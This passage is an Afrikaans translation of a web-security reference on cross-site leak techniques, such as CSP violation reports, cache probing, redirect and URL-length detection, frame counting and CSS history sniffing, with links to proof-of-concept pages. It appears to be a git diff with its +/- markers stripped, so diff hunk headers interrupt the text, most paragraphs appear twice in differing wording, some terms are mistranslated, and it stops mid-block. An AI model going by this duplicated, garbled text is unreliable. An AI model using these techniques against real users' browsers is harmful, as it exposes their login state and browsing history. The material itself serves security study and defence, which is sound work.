'n Aanvaller kan **uitgebreide foutboodskappe** uitbuit om die grootte van kruis-oorsprong respons te bepaal. Dit is moontlik as gevolg van die meganisme van Subresource Integrity (SRI), wat die integriteitskenmerk gebruik om te valideer dat hulpbronne wat opgehaal word, dikwels van CDNs afkomstig, nie geteister is nie. Vir SRI om te werk op kruis-oorsprong hulpbronne, moet hierdie **CORS-ingeskakel** wees; anders word hulle nie aan integriteitskontroles onderwerp nie. In Sekuriteitsbewerings (SA), soos die CORS-fout XS-Leak, kan 'n foutboodskap vasgevang word nadat 'n ophalingsversoek met 'n integriteitskenmerk misluk. Aanvallers kan doelbewus hierdie fout **trigger** deur 'n **vals hashtekenwaarde** toe te ken aan die integriteitskenmerk van enige versoek. In SA, onthul die resulterende foutboodskap onbedoeld die inhoudslengte van die versoekte hulpbron. Hierdie inligtingslek maak dit vir 'n aanvaller moontlik om variasies in responsgrootte te onderskei, wat die weg baan vir gesofistikeerde XS-Leak-aanvalle.
### CSP-oortreding/opsporing
* **Insluitingsmetodes**: Pop-ups
* **Opspoorbare Verskil**: Statuskode
* **Opmerkbare Verskil**: Statuskode
* **Meer inligting**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **Opsomming:** As slegs die slagofferswebwerf in die CSP toegelaat word en dit probeer om te skuif na 'n ander domein, sal die CSP 'n opspoorbare fout veroorsaak.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
'n XS-Leak kan die CSP gebruik om te bepaal of 'n kruis-oorsprong webwerf na 'n ander oorsprong omgeskakel is. Hierdie lek kan die omleiding opspoor, maar daarnaas lek ook die domein van die omleidingsdoel. Die basiese idee van hierdie aanval is om **die teikendomein op die aanvaller se webwerf toe te laat**. Sodra 'n versoek na die teikendomein uitgereik word, **skuif** dit na 'n kruis-oorsprongdomein. **CSP blokkeer** die toegang daartoe en skep 'n **oortredingsverslag wat as 'n lektegniek gebruik word**. Afhangende van die blaaier, **kan hierdie verslag die teikendomein van die omleiding lek**. Moderne blaaier sal nie die URL aandui waarna dit omgeskakel is nie, maar jy kan steeds bepaal dat 'n kruis-oorsprongomleiding geaktiveer is.
'n XS-Leak kan die CSP gebruik om te bepaal of 'n kruis-oorsprong webwerf na 'n ander oorsprong omgeskakel is. Hierdie lek kan die omleiding opspoor, maar daarnaas lek die domein van die omleidingsdoel. Die basiese idee van hierdie aanval is om die teikendomein op die aanvaller se webwerf **toe te laat**. Sodra 'n versoek na die teikendomein uitgereik word, **skuif** dit na 'n kruis-oorsprongdomein. **CSP blokkeer** die toegang daartoe en skep 'n **oortredingsverslag wat as 'n lektegniek gebruik word**. Afhangende van die blaaier, **kan hierdie verslag die teikendomein van die omleiding lek**. Moderne blaaier sal nie die URL aandui waarna dit omgeskakel is nie, maar jy kan steeds bepaal dat 'n kruis-oorsprongomleiding geaktiveer is.
### Cache
* **Insluitingsmetodes**: Rame, Pop-ups
* **Opspoorbare Verskil**: Bladsy-inhoud
* **Opmerkbare Verskil**: Bladsy-inhoud
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **Opsomming:** Maak die lêer uit die cache skoon. Maak teikensbladsy oop, kyk of die lêer in die cache teenwoordig is.
* **Opsomming:** Maak die lêer uit die cache skoon. Maak teikendbladsy oop, kyk of die lêer in die cache teenwoordig is.
* **Kodevoorbeeld:**
Blaaier kan een gedeelde cache vir alle webwerwe gebruik. Ongeag hul oorsprong, is dit moontlik om vas te stel of 'n teikensbladsy 'n **spesifieke lêer aangevra** het.
Blaaiers kan een gedeelde cache vir alle webwerwe gebruik. Ongeag hul oorsprong, is dit moontlik om vas te stel of 'n teikendbladsy 'n **spesifieke lêer aangevra** het.
As 'n bladsy 'n prent laai slegs as die gebruiker ingeteken is, kan jy die **hulpbron ongeldig maak** (sodat dit nie meer in die cache is nie, sien meer inligting skakels), 'n versoek uitvoer wat daardie hulpbron kan laai en probeer om die hulpbron **met 'n slegte versoek te laai** (bv. deur 'n oorlange verwysingskop te gebruik). As die hulpbronlaai **geen fout veroorsaak nie**, is dit omdat dit **gecachet** is.
As 'n bladsy 'n prent laai slegs as die gebruiker ingeteken is, kan jy die **hulpbron ongeldig maak** (sodat dit nie meer in die cache is nie, sien meer inligting skakels), 'n versoek **uitvoer** wat daardie hulpbron kan laai en probeer om die hulpbron **met 'n slegte versoek te laai** (bv. deur 'n oorlange verwysingskop te gebruik). As die hulpbronlaai **geen fout veroorsaak nie**, is dit omdat dit **gecachet** is.
### CSP Direktief
* **Insluitingsmetodes**: Rame
* **Opspoorbare Verskil**: Koptekst
* **Opmerkbare Verskil**: Koptekst
* **Meer inligting**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **Opsomming:** CSP-kopteksdirektiewe kan ondersoek word deur die CSP-rame-attribuut te gebruik, wat beleidsbesonderhede blootstel.
* **Opsomming:** CSP-kopteksdirektiewe kan ondersoek word deur die CSP-rame-attribuut te gebruik, wat beleidsbesonderhede blootlê.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
'n Nuwe kenmerk in Google Chrome (GC) maak dit moontlik vir webbladsye om 'n Inhoudsekuriteitsbeleid (CSP) voor te stel deur 'n attribuut op 'n ramelement in te stel, met beleidsdirektiewe wat saam met die HTTP-versoek oorgedra word. Normaalweg moet die ingeslote inhoud hierdie **deur 'n HTTP-koptekst** goedkeur, of 'n **foutbladsy word vertoon**. Indien die rame egter reeds deur 'n CSP beheer word en die nuut voorgestelde beleid nie strenger is nie, sal die bladsy normaal laai. Hierdie meganisme skep 'n geleentheid vir 'n aanvaller om **spesifieke CSP-direktiewe** van 'n kruis-oorsprongbladsy te identifiseer deur die foutbladsy te identifiseer. Alhoewel hierdie kwesbaarheid as opgelos gemerk is, dui ons bevindinge op 'n **nuwe lektegniek** wat in staat is om die foutbladsy te identifiseer, wat aandui dat die onderliggende probleem nooit heeltemal aangespreek is nie.
'n Nuwe kenmerk in Google Chrome (GC) maak dit moontlik vir webbladsye om 'n Inhoudsekuriteitsbeleid (CSP) voor te stel deur 'n attribuut op 'n ramelement in te stel, met beleidsdirektiewe wat saam met die HTTP-versoek oorgedra word. Normaalweg moet die ingeslote inhoud hierdie **deur 'n HTTP-koptekst** goedkeur, of 'n **foutbladsy word vertoon**. Indien die rame egter reeds deur 'n CSP beheer word en die nuut voorgestelde beleid nie strenger is nie, sal die bladsy normaal laai. Hierdie meganisme skep 'n geleentheid vir 'n aanvaller om **spesifieke CSP-direktiewe** van 'n kruis-oorsprongbladsy te identifiseer deur die foutbladsy te identifiseer. Alhoewel hierdie kwesbaarheid as opgelos gemerk is, dui ons bevindinge op 'n **nuwe lektegniek** wat in staat is om die foutbladsy op te spoor, wat aandui dat die onderliggende probleem nooit heeltemal aangespreek is nie.
### **CORP**
* **Insluitingsmetodes**: Fetch API
* **Opspoorbare Verskil**: Koptekst
* **Opmerkbare Verskil**: Koptekst
* **Meer inligting**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **Opsomming:** Hulpbronne wat beveilig is met Cross-Origin Resource Policy (CORP) sal 'n fout gooi wanneer dit vanaf 'n nie-toegelate oorsprong opgehaal word.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
@ -579,7 +579,7 @@ In die geval waar die **Oorsprong-kop** weerspieël word maar 'n wildkaart gebru
* **Insluitingsmetodes**: Fetch API
* **Opmerkbare Verskil**: Statuskode
* **Meer inligting**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **Opsomming:** GC en SA maak dit moontlik om die respons se tipe (ondeurdringbare-omleiding) te kontroleer nadat die omleiding voltooi is.
* **Opsomming:** GC en SA maak dit moontlik om die respons se tipe (ondeurdrerig-omleiding) te kontroleer nadat die omleiding voltooi is.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
Deur 'n aanvraag in te dien met die Fetch API met `redirect: "manual"` en ander parameters, is dit moontlik om die `response.type` eienskap te lees en as dit gelyk is aan `opaqueredirect` was die respons 'n omleiding.
@ -602,9 +602,9 @@ Deur 'n aanvraag in te dien met die Fetch API met `redirect: "manual"` en ander
* **Opsomming:** Ontdek verskille in respons as gevolg van die omleidingsresponslengte wat moontlik te groot is dat die bediener met 'n fout antwoord en 'n waarskuwing genereer.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
As 'n bedienerkant-omleiding **gebruikersinvoer binne die omleiding** en **ekstra data** gebruik. Dit is moontlik om hierdie gedrag op te spoor omdat **bedieners** gewoonlik 'n **limietversoeklengte** het. Als die **gebruikersdata** daardie **lengte - 1** is, omdat die **omleiding** daardie data gebruik en iets **ekstra byvoeg**, sal dit 'n **fout wat deur Foutgebeurtenisse opspoorbaar is, veroorsaak**.
Indien 'n bedienerkant-omleiding **gebruikersinvoer binne die omleiding** en **ekstra data** gebruik. Dit is moontlik om hierdie gedrag op te spoor omdat gewoonlik **bedieners** 'n **limietversoeklengte** het. As die **gebruikersdata** daardie **lengte - 1** is, omdat die **omleiding** daardie data gebruik en iets **ekstra byvoeg**, sal dit 'n **fout wat deur Foutgebeurtenisse opspoorbaar is, veroorsaak**.
As jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierdie aanval uitvoer deur **genoeg koekies te stel** ([**koekiebom**](../hacking-with-cookies/cookie-bomb.md)) sodat met die **verhoogde grootte van die korrekte respons** 'n **fout** veroorsaak word. In hierdie geval, onthou dat as jy hierdie versoek vanaf dieselfde webwerf aktiveer, `<script>` sal outomaties die koekies stuur (sodat jy vir foute kan kyk).\
Indien jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierdie aanval uitvoer deur **genoeg koekies te stel** ([**koekiebom**](../hacking-with-cookies/cookie-bomb.md)) sodat met die **verhoogde grootte van die korrekte respons** 'n **fout** veroorsaak word. In hierdie geval, onthou dat as jy hierdie versoek vanaf dieselfde webwerf aktiveer, `<script>` sal outomaties die koekies stuur (sodat jy vir foute kan soek).\
'n Voorbeeld van die **koekiebom + XS-Soek** kan gevind word in die Bedoelde oplossing van hierdie uiteensetting: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` of om in dieselfde konteks te wees is gewoonlik nodig vir hierdie tipe aanval.
@ -619,13 +619,13 @@ As jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierd
Volgens [Chromium-dokumentasie](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url\_display\_guidelines/url\_display\_guidelines.md#URL-Length), is Chrome se maksimum URL-lengte 2MB.
> In die algemeen het die _webplatform_ nie limiete op die lengte van URL's nie (hoewel 2^31 'n algemene limiet is). _Chrome_ beperk URL's tot 'n maksimum lengte van **2MB** om praktiese redes en om te verhoed dat daar ontkenning-van-diensprobleme in interproseskommunikasie veroorsaak word.
> In die algemeen het die _webplatform_ nie limiete op die lengte van URL's nie (hoewel 2^31 'n algemene limiet is). _Chrome_ beperk URL's tot 'n maksimum lengte van **2MB** vir praktiese redes en om te verhoed dat daar ontkenning-van-diensprobleme in interproseskommunikasie veroorsaak word.
Daarom, as die **omleidings-URL** groter is in een van die gevalle, is dit moontlik om dit om te lei met 'n **URL groter as 2MB** om die **lengtelimiet** te tref. Wanneer dit gebeur, wys Chrome 'n **`about:blank#blocked`** bladsy.
Daarom, as die **omleidings-URL wat reageer groter is in een van die gevalle**, is dit moontlik om dit om te lei met 'n **URL groter as 2MB** om die **lengte limiet** te tref. Wanneer dit gebeur, wys Chrome 'n **`about:blank#blocked`** bladsy.
Die **opmerkbare verskil** is dat as die **omleiding** voltooi was, gooi `window.origin` 'n **fout** omdat 'n kruis-oorsprong nie daardie inligting kan benader nie. Maar as die **limiet** getref is en die gelaai bladsy was **`about:blank#blocked`** bly die venster se **`origin`** dié van die **ouer**, wat 'n **toeganklike inligting** is.
Die **opmerkbare verskil** is dat as die **omleiding** voltooi was, gooi `window.origin` 'n **fout** omdat 'n kruis-oorsprong nie daardie inligting kan benader nie. Indien die **limiet** egter bereik is en die gelaai bladsy was **`about:blank#blocked`** bly die venster se **`origin`** dié van die **ouer**, wat 'n **toeganklike inligting** is.
Al die ekstra inligting wat nodig is om die **2MB** te bereik, kan bygevoeg word via 'n **hekje** in die aanvanklike URL sodat dit in die omleiding gebruik sal word.
Al die ekstra inligting wat nodig is om die **2MB** te bereik, kan bygevoeg word via 'n **hekse** in die aanvanklike URL sodat dit in die omleiding gebruik sal word.
{% content-ref url="url-max-length-client-side.md" %}
[url-max-length-client-side.md](url-max-length-client-side.md)
@ -684,22 +684,22 @@ console.log(await debug(win, "https://example.com/?a=b"));
* **Opsomming:** Evalueer die hoeveelheid `iframe`-elemente deur die `window.length` eienskap te ondersoek.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
Die **aantal raamwerke in 'n webbladsy** wat oopgemaak is via `iframe` of `window.open` kan help om die **status van die gebruiker oor daardie bladsy** te identifiseer.\
Verder, as die bladsy altyd dieselfde aantal raamwerke het, kan dit help om 'n **patroon** te identifiseer wat moontlik inligting kan **lek**.
Die **aantal raamwerke in 'n webbladsy** wat geopen word via `iframe` of `window.open` kan help om die **status van die gebruiker oor daardie bladsy** te identifiseer.\
Verder, as die bladsy altyd dieselfde aantal raamwerke het, kan dit help om deurlopend die aantal raamwerke te kontroleer om 'n **patroon** te identifiseer wat moontlik inligting kan lek.
'n Voorbeeld van hierdie tegniek is dat in Chrome, 'n **PDF** met **raamteling** opgespoor kan word omdat 'n `embed` intern gebruik word. Daar is [Oop URL-parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) wat 'n mate van beheer oor die inhoud toelaat soos `zoom`, `view`, `page`, `toolbar` waar hierdie tegniek interessant kan wees.
'n Voorbeeld van hierdie tegniek is dat in Chrome 'n **PDF** met **raamteling** opgespoor kan word omdat 'n `embed` intern gebruik word. Daar is [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) wat 'n mate van beheer oor die inhoud toelaat soos `zoom`, `view`, `page`, `toolbar` waar hierdie tegniek interessant kan wees.
### HTMLElemente
* **Insluitingsmetodes**: HTML-elemente
* **Insluitingsmetodes**: HTML Elemente
* **Opmerkbare Verskil**: Bladsy-inhoud
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
* **Opsomming:** Lees die uitgelekte waarde om tussen 2 moontlike toestande te onderskei
* **Kodevoorbeeld**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
Inligtinglekking deur HTML-elemente is 'n bekommernis in websekuriteit, veral wanneer dinamiese mediabestande gegenereer word op grond van gebruikersinligting, of wanneer watermerke bygevoeg word wat die mediagrootte verander. Dit kan deur aanvallers uitgebuit word om tussen moontlike toestande te onderskei deur die inligting wat deur sekere HTML-elemente blootgestel word, te analiseer.
Inligtingslekking deur HTML-elemente is 'n bekommernis in websekuriteit, veral wanneer dinamiese mediabestande gegenereer word op grond van gebruikersinligting, of wanneer watermerke bygevoeg word wat die mediagrootte verander. Dit kan deur aanvallers uitgebuit word om tussen moontlike toestande te onderskei deur die inligting wat deur sekere HTML-elemente blootgestel word, te analiseer.
### Inligting Blootgestel deur HTML-elemente
### Inligting Blootgestel deur HTML Elemente
* **HTMLMediaElement**: Hierdie element onthul die media se `duration` en `buffered` tye, wat toeganklik is via sy API. [Lees meer oor HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
* **HTMLVideoElement**: Dit onthul `videoHeight` en `videoWidth`. In sommige webblaaier is addisionele eienskappe soos `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, en `webkitDecodedFrameCount` beskikbaar, wat meer in-diepte inligting oor die mediainhoud bied. [Lees meer oor HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
@ -708,57 +708,57 @@ Inligtinglekking deur HTML-elemente is 'n bekommernis in websekuriteit, veral wa
### CSS Eienskap
* **Insluitingsmetodes**: HTML-elemente
* **Insluitingsmetodes**: HTML Elemente
* **Opmerkbare Verskil**: Bladsy-inhoud
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
* **Opsomming:** Identifiseer variasies in webwerf-styling wat korreleer met die gebruiker se toestand of status.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
Webtoepassings kan die **webwerf-styling verander afhangende van die gebruiker se toestand**. Kruis-oorsprong CSS-lêers kan op die aanvaller se bladsy ingesluit word met die **HTML-skakel element**, en die **reëls** sal op die aanvaller se bladsy **toegepas** word. As 'n bladsy hierdie reëls dinamies verander, kan 'n aanvaller hierdie **verskille opspoor** afhangende van die gebruikerstoestand.\
Webtoepassings kan die **webwerf-styling verander afhangende van die gebruiker se toestand**. Kruis-oorsprong CSS-lêers kan op die aanvaller se bladsy ingesluit word met die **HTML skakel element**, en die **reëls** sal op die aanvaller se bladsy **toegepas** word. As 'n bladsy hierdie reëls dinamies verander, kan 'n aanvaller hierdie **verskille** identifiseer afhangende van die gebruiker se toestand.\
As 'n lektegniek kan die aanvaller die `window.getComputedStyle`-metode gebruik om CSS-eienskappe van 'n spesifieke HTML-element te **lees**. As gevolg hiervan kan 'n aanvaller arbitrêre CSS-eienskappe lees as die geaffekteerde element en eienskapsnaam bekend is.
### CSS Geskiedenis
* **Insluitingsmetodes**: HTML-elemente
* **Insluitingsmetodes**: HTML Elemente
* **Opmerkbare Verskil**: Bladsy-inhoud
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **Opsomming:** Identifiseer of die `:visited` styl op 'n URL toegepas is wat aandui dat dit reeds besoek is
* **Opsomming:** Identifiseer of die `:visited` styl op 'n URL toegepas word wat aandui dat dit reeds besoek is
* **Kodevoorbeeld**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
{% hint style="info" %}
Volgens [**hierdie**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) werk dit nie in headless Chrome nie.
{% endhint %}
Die CSS `:visited`-selekteerder word gebruik om URL's anders te styl as hulle voorheen deur die gebruiker besoek is. In die verlede kon die `getComputedStyle()`-metode gebruik word om hierdie stylverskille te identifiseer. Tog het moderne webblaaier sekuriteitsmaatreëls geïmplementeer om te voorkom dat hierdie metode die toestand van 'n skakel blootstel. Hierdie maatreëls sluit in dat die berekende styl altyd teruggegee word asof die skakel besoek is en die style wat met die `:visited`-selekteerder toegepas kan word, beperk word.
Die CSS `:visited`-selekteerder word gebruik om URL's anders te styl as hulle voorheen deur die gebruiker besoek is. In die verlede kon die `getComputedStyle()`-metode gebruik word om hierdie stylverskille te identifiseer. Moderne webblaaier het egter sekuriteitsmaatreëls geïmplementeer om te voorkom dat hierdie metode die toestand van 'n skakel blootstel. Hierdie maatreëls sluit in dat die berekende styl altyd teruggegee word asof die skakel besoek is en die style wat met die `:visited`-selekteerder toegepas kan word, beperk word.
Ten spyte van hierdie beperkings is dit moontlik om die besoekte toestand van 'n skakel indirek te onderskei. Een tegniek behels om die gebruiker te mislei om met 'n area wat deur CSS beïnvloed word, te interaksioneer, spesifiek deur die `mix-blend-mode`-eienskap te gebruik. Hierdie eienskap maak die vermenging van elemente met hul agtergrond moontlik, wat moontlik die besoekte toestand kan onthul op grond van gebruikerinteraksie.
Verder kan opsporing sonder gebruikerinteraksie bereik word deur die uitbuiting van die rendertye van skakels. Aangesien webblaaier besoekte en onbesoekte skakels moontlik anders kan rendeer, kan dit 'n meetbare tydverskil in die rendery veroorsaak. 'n Konsep van bewys (PoC) is genoem in 'n Chromium-foutverslag, wat hierdie tegniek demonstreer deur van meervoudige skakels gebruik te maak om die tydverskil te versterk, en sodoende die besoekte toestand deur tydanalise waarneembaar te maak.
Verder kan opsporing sonder gebruikerinteraksie bereik word deur die rendertye van skakels uit te buit. Aangesien webblaaier besoekte en onbesoekte skakels moontlik anders kan rendeer, kan dit 'n meetbare tydverskil in die rendery veroorsaak. 'n Bewys van konsep (PoC) is genoem in 'n Chromium-foutverslag, wat hierdie tegniek demonstreer deur gebruik te maak van verskeie skakels om die tydverskil te versterk, en sodoende die besoekte toestand deur tydanalise waarneembaar te maak.
Vir verdere besonderhede oor hierdie eienskappe en metodes, besoek hul dokumentasiebladsye:
* `:visited`: [MDN-dokumentasie](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
* `getComputedStyle()`: [MDN-dokumentasie](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
* `mix-blend-mode`: [MDN-dokumentasie](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
### Inhoudsdocument X-Frame-lek
* `:visited`: [MDN Dokumentasie](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
* `getComputedStyle()`: [MDN Dokumentasie](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
* `mix-blend-mode`: [MDN Dokumentasie](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
### Inhoudsdokument X-Frame-lek
* **Insluitingsmetodes**: Rame
* **Opspoorbare Verskil**: Koppe
* **Meer inligting**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **Opsomming:** In Google Chrome word 'n toegewyde foutbladsy vertoon wanneer 'n bladsy geblokkeer word om op 'n kruis-oorsprong webwerf ingesluit te word as gevolg van X-Frame-Options-beperkings.
* **Opsomming:** In Google Chrome word 'n toegewyde foutbladsy vertoon wanneer 'n bladsy geblokkeer word om ingesluit te word op 'n kruis-oorsprong webwerf as gevolg van X-Frame-Options-beperkings.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
In Chrome, as 'n bladsy met die `X-Frame-Options`-kop ingestel op "ontken" of "selfde-oorsprong" as 'n objek ingesluit word, verskyn 'n foutbladsy. Chrome gee uniek 'n leë dokumentobjek terug (in plaas van `null`) vir die `contentDocument`-eienskap van hierdie objek, in teenstelling met iframes of ander webblaaier. Aanvallers kan dit uitbuit deur die leë dokument op te spoor, wat moontlik inligting oor die gebruiker se toestand kan onthul, veral as ontwikkelaars onkonsekwent die X-Frame-Options-kop instel, dikwels foutebladsye oorsien. Bewustheid en konsekwente toepassing van sekuriteitskoppe is noodsaaklik om sulke lekke te voorkom.
In Chrome, as 'n bladsy met die `X-Frame-Options`-kop ingestel op "ontken" of "selfde-oorsprong" as 'n objek ingesluit word, verskyn 'n foutbladsy. Chrome gee uniek 'n leë dokumentobjek terug (in plaas van `null`) vir die `contentDocument`-eienskap van hierdie objek, anders as in iframes of ander webblaaier. Aanvallers kan dit uitbuit deur die leë dokument op te spoor, wat moontlik inligting oor die gebruiker se toestand kan onthul, veral as ontwikkelaars onkonsekwent die X-Frame-Options-kop instel, dikwels foutebladsye oorsien. Bewustheid en konsekwente toepassing van sekuriteitskoppe is noodsaaklik om sulke lekke te voorkom.
### Aflaaieropsporing
* **Insluitingsmetodes**: Rame, Pop-ups
* **Opspoorbare Verskil**: Koppe
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
* **Opsomming:** 'n Aanvaller kan lêeraflaaie onderskei deur gebruik te maak van iframes; voortgesette toeganklikheid van die iframe impliseer suksesvolle lêeraflaai.
* **Opsomming:** 'n Aanvaller kan lêeraflaaie onderskei deur gebruik te maak van iframes; die voortgesette toeganklikheid van die iframe impliseer 'n suksesvolle lêeraflaai.
* **Kodevoorbeeld**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
Die `Content-Disposition`-kop, spesifiek `Content-Disposition: attachment`, instrueer die blaaier om inhoud af te laai eerder as om dit inlyn te vertoon. Hierdie gedrag kan uitgebuit word om te bepaal of 'n gebruiker toegang het tot 'n bladsy wat 'n lêeraflaai veroorsaak. In Chromium-gebaseerde blaaier is daar 'n paar tegnieke om hierdie aflaai-gedrag op te spoor:
Die `Content-Disposition`-kop, spesifiek `Content-Disposition: attachment`, instrueer die blaaier om inhoud af te laai eerder as om dit inlyn te vertoon. Hierdie gedrag kan uitgebuit word om vas te stel of 'n gebruiker toegang het tot 'n bladsy wat 'n lêeraflaai veroorsaak. In Chromium-gebaseerde blaaier is daar 'n paar tegnieke om hierdie aflaai-gedrag op te spoor:
1. **Aflaaikennisgewingbalk Monitorering**:
* Wanneer 'n lêer in Chromium-gebaseerde blaaier afgelaai word, verskyn 'n aflaaikennisgewingbalk onder aan die blaaier-venster.
@ -768,34 +768,34 @@ Die `Content-Disposition`-kop, spesifiek `Content-Disposition: attachment`, inst
* Deur die inhoud in 'n iframe te laai en vir navigasiegebeurtenisse te monitor, is dit moontlik om te kontroleer of die inhoudsdisposisie 'n lêeraflaai veroorsaak (geen navigasie) of nie.
3. **Aflaainavigasie sonder Iframes**:
* Soortgelyk aan die iframe-tegniek, behels hierdie metode die gebruik van `window.open` in plaas van 'n iframe.
* Deur navigasiegebeurtenisse in die nuut geopende venster te monitor, kan vasgestel word of 'n lêeraflaai geïnisieer is (geen navigasie) of dat die inhoud inlyn vertoon word (navigasie vind plaas).
* Deur navigasiegebeurtenisse in die nuut geopende venster te monitor, kan vasgestel word of 'n lêeraflaai geïnisieer is (geen navigasie) of dat die inhoud inlyn vertoon word (navigasie plaasvind).
In situasies waar slegs ingeteken gebruikers sulke aflaaie kan inisieer, kan hierdie tegnieke gebruik word om indirek die gebruiker se verifikasietoestand af te lei op grond van die blaaier se reaksie op die aflaai-versoek.
In scenario's waar slegs ingeteken gebruikers sulke aflaaie kan veroorsaak, kan hierdie tegnieke gebruik word om indirek die gebruiker se verifikasietoestand af te lei op grond van die blaaier se reaksie op die aflaai-versoek.
### Verdeelde HTTP-Kaagbypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
### Verdeelde HTTP-Kaasbypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
* **Insluitingsmetodes**: Pop-ups
* **Opspoorbare Verskil**: Tydsberekening
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
* **Opsomming:** 'n Aanvaller kan lêeraflaai onderskei deur gebruik te maak van iframes; voortgesette toeganklikheid van die iframe impliseer suksesvolle lêeraflaai.
* **Opsomming:** 'n Aanvaller kan lêeraflaai onderskei deur gebruik te maak van iframes; die voortgesette toeganklikheid van die iframe impliseer 'n suksesvolle lêeraflaai.
* **Kodevoorbeeld**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (van [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
{% hint style="warning" %}
